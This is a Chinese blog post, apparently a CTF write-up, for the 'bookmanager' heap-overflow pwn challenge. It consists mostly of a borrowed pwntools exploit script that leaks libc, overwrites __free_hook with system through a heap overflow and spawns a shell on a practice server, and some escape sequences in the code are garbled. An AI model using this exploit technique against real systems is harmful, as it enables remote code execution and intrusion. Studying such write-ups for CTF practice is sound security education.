zoukankan      html  css  js  c++  java
  • 寒假训练 [OGeek2019]bookmanager(10/250)

    这道题逆着有点累,不过不难就是简单的堆溢出

    不过我edit在自己环境里面弄了好几遍都没有造成堆溢出,然后由于没什么实力,写出去的payload在心里感觉是可以的,结果远程怎么打都没打通,后面还是看了lemon师傅的博客,借用了他的脚本打通,不过不得不说我在打通getshell的堆构造上,还是不如那些师傅构造的好,只想着一昧的加堆,过于死板

    exp借用了lemon师傅的exp

    from pwn import *
    
    #r=process('./pwn')
    r=remote('node3.buuoj.cn',27254)
    libc=ELF('../libc-2.23.so')
    context.log_level='debug'
    menu = "Your choice:"
    def add_chapter(content):
        r.recvuntil(menu)
        r.sendline('1')
        r.recvuntil("Chapter name:")
        r.send(content)
    
    def add_section(chapter, content):
        r.recvuntil(menu)
        r.sendline('2')
        r.recvuntil("Which chapter do you want to add into:")
        r.send(chapter)
        r.recvuntil("0x")
        addr = int(r.recvuntil('
    ').strip(), 16)
        r.recvuntil("Section name:")
        r.send(content)
        return addr
    
    def add_text(section, size, content):
        r.recvuntil(menu)
        r.sendline('3')
        r.recvuntil("Which section do you want to add into:")
        r.send(section)
        r.recvuntil("How many chapters you want to write:")    #max:0x100 
        r.sendline(str(size))
        r.recvuntil("Text:")
        r.send(content)
    
    def delete_chapter(name):
        r.recvuntil(menu)
        r.sendline('4')
        r.recvuntil("Chapter name:")
        r.send(name)
    
    def delete_section(name):
        r.recvuntil(menu)
        r.sendline('5')
        r.recvuntil("Section name:")
        r.send(name)
    
    def delete_text(name):
        r.recvuntil(menu)
        r.sendline('6')
        r.recvuntil("Section name:")
        r.send(name)
    
    def show():
        r.recvuntil(menu)
        r.sendline('7')
    
    def edit(type, name, content):
        r.recvuntil(menu)
        r.sendline('8')
        r.recvuntil("What to update?(Chapter/Section/Text):")
        r.sendline(type)
        if type == 'Chapter':
            r.recvuntil("Chapter name:")
            r.send(name)
            r.recvuntil("New Chapter name:")
            r.send(content)
    
        elif type == 'Section':
            r.recvuntil("Section name:")
            r.send(name)
            r.recvuntil("New Section name:")
            r.send(content)
        else:
            r.recvuntil("Section name:")
            r.send(name)
            r.recvuntil("New Text:")
            r.send(content)
    
    r.recvuntil('create: ')
    r.sendline('PYozo')
    
    add_chapter('one')
    add_section('one','c' * 8)
    add_text('c' * 8,0x80,'d' * 8)
    add_chapter('x01')
    delete_text('cccccccc')
    add_text('cccccccc',0x80,'aaaaaaaa')
    show()
    libc.address = u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 88 - 0x10- libc.sym['__malloc_hook']
    free_hook=libc.sym['__free_hook']
    system=libc.sym['system']
    
    add_text('cccccccc',0x10,'x01')
    payload = b'/bin/shx00' + b'a' * 8 + p64(0) + p64(0x41) + b'dddddddd' + p64(0) * 3 + p64(free_hook)
    add_section('one','dddddddd')
    edit('Text','cccccccc',payload)
    edit('Text','dddddddd',p64(system))
    delete_text('cccccccc')
    #gdb.attach(r)
    r.interactive()
  • 相关阅读:
    测试用例编写(功能测试框架)
    OKR与KPI管理的区别与联系
    手机测试常见的BUG解析
    软件测试之BUG分析定位概述(QA如何分析定位BUG)【转自 https://blog.csdn.net/kaka1121/article/details/51538979】
    KPI、KPA、OKR三者的区别
    swagger api 文档框架
    Jmeter + Ant + Jenkins 接口/性能测试,持续集成环境搭建
    重建词汇精神家园
    记忆的本质
    attention机制七搞八搞
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14308567.html
Copyright © 2011-2022 走看看